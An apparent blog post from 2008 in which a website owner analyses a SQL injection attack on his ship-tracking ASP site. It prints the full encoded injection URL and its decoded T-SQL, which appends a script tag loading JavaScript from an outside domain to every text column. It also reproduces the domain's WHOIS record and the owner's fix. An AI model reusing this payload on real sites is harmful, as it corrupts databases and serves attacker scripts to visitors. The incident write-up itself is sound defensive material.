

Hacker Attack No. 1

On April 6th, 2008 at 02:41 in the morning a hacker successfully hacked into data I have stored in a SQL Server 2000 (SP 3) database. The database in question supports a web site that provides AIS information for ships in the vicinity of the River Orwell in England. The web site is built around a number of ASP pages running under Microsoft IIS.

How was this done?

As determined from the IIS log file the hacker picked on an ASP page that accepts a single argument that being the MMSI number of a vessel. A typical call to the page would look like:

<http://olivecottage.homeip.net/AIS/Details.asp?MMSI=234892000>

Optimistically he called the page as:

http://olivecottage.homeip.net/AIS/Details.asp?/AIS/details.asp_MMSI=234892000;DECLARE
%20@S%20NVARCHAR(4000);SET
%20@S=CAST(0x4400450043004C004100520045002000400054002000760
0610072006300680061007200280032003500350029002C0040004300200076006100
72006300680061007
2002800320035003500290020004400450043004C0041005200450020005400610062
006C0065005F00430
07500720073006F007200200043005500520053004F005200200046004F0052002000
730065006C0065006
3007400200061002E006E0061006D0065002C0062002E006E0061006D006500200066
0072006F006D00200
07300790073006F0062006A006500630074007300200061002C007300790073006300
6F006C0075006D006
E00730020006200200077006800650072006500200061002E00690064003D0062002E
00690064002000610
06E006400200061002E00780074007900700065003D00270075002700200061006E00
64002000280062002
E00780074007900700065003D003900390020006F007200200062002E007800740079
00700065003D00330
0350020006F007200200062002E00780074007900700065003D003200330031002000
6F007200200062002
E00780074007900700065003D00310036003700290020004F00500045004E00200054
00610062006C00650
05F0043007500720073006F00720020004600450054004300480020004E0045005800
54002000460052004
F004D00200020005400610062006C0065005F0043007500720073006F007200200049
004E0054004F00200
0400054002C004000430020005700480049004C004500280040004000460045005400
430048005F0053005
40041005400550053003D0030002900200042004500470049004E0020006500780065
00630028002700750
07000640061007400650020005B0027002B00400054002B0027005D00200073006500
740020005B0027002
B00400043002B0027005D003D0072007400720069006D00280063006F006E00760065
00720074002800760
06100720063006800610072002C005B0027002B00400043002B0027005D0029002900
2B00270027003C007
3006300720069007000740020007300720063003D0068007400740070003A002F002F
007700770077002E0

```

03400310034003100350031002E0063006F006D002F0066006A0070002E006A007300
3E003C002F0073006
30072006900700074003E0027002700270029004600450054004300480020004E0045
00580054002000460
052004F004D00200020005400610062006C0065005F0043007500720073006F007200
200049004E0054004
F002000400054002C0040004300200045004E004400200043004C004F005300450020
005400610062006C0
065005F0043007500720073006F00720020004400450041004C004C004F0043004100
54004500200054006
10062006C0065005F0043007500720073006F007200%20AS
%20NVARCHAR(4000));EXEC(@S);

```

What is this extra payload?

If we re-arrange it and un-encode it to make it readable we get:

```

DECLARE @S NVARCHAR(4000);
SET @S=CAST(<very long binary string> AS NVARCHAR(4000));
EXEC(@S);

```

This code converts the very long binary string into text and then executes the text. If we do the conversion then we get the following code:

```

DECLARE @T varchar(255),
        @C varchar(255)
DECLARE Table_Cursor CURSOR FOR
Select
    a.name,b.name
from sysobjects a,
    syscolumns b
where a.id=b.id and
    a.xtype='u' and
    (b.xtype=99 or b.xtype=35 or b.xtype=231 or
b.xtype=167)
OPEN Table_Cursor
FETCH NEXT FROM Table_Cursor INTO @T,@C
WHILE (@@FETCH_STATUS=0)
BEGIN
    exec('update ['+@T+] set ['+@C+]=
        rtrim(convert(varchar,['+@C+']))+
        '<script
src=http://www.414151.com/fjp.js></script>''')
    FETCH NEXT FROM Table_Cursor INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor

```

This code basically loops through all the textual columns in all the tables and appends

```
<script src=http://www.414151.com/fjp.js></script>
```

to the data the columns contain.

For the extra payload to cause trouble two conditions have to be met:

1. The single expected argument must be used to build up a SQL string which is then executed.
2. The called page must be running with sufficient privileges to write data to the underlying database.

If the conditions are true then the data in your database will be corrupted.

The hacker then assumed that the data in the database tables would be used to dynamically generate HTML for web pages and when a browser processed HTML containing <script> tags then the associated script will be executed – in this case fjp.js.

Sadly, both the above conditions were true so, as you'd expect my databases were corrupted and my resulting web pages did some strange things.

It turns out that the associated web site was recently registered:

Domain Name:414151.com

Registrant:

zhang san
Star Street
100000
XÇøXÃ·X°Å

Administrative Contact:

Zhang ShanShan
zhang san
Star Street
GuangZhou Guangdong 100000
CN
tel: 86 010 85254564
fax: 86 010 85254564
asdfasdf@126.com

Technical Contact:

Zhang ShanShan
zhang san
Star Street
GuangZhou Guangdong 100000
CN
tel: 85254564
fax: 85254564
asdfasdf@126.com

Billing Contact:

Zhang ShanShan
zhang san
Star Street
GuangZhou Guangdong 100000
CN
tel: 85254564
fax: 85254564
asdfasdf@126.com

Registration Date: 2008-04-01

Update Date: 2008-04-01
Expiration Date: 2009-04-01

Primary DNS: dns.51ym.com 219.153.20.207
Secondary DNS: dns1.51ym.com 61.128.198.181

At the time the URL was mapped to 60.172.219.4 and attempts were made, using telnet, to download the [ftp.js](#) file to discover what it was trying to do but failed with unknown URL error.

Future attacks.

Future attacks of this nature have been stopped by running the ASP pages as a database read only user. The page has also been modified to validate the MMSI number supplied.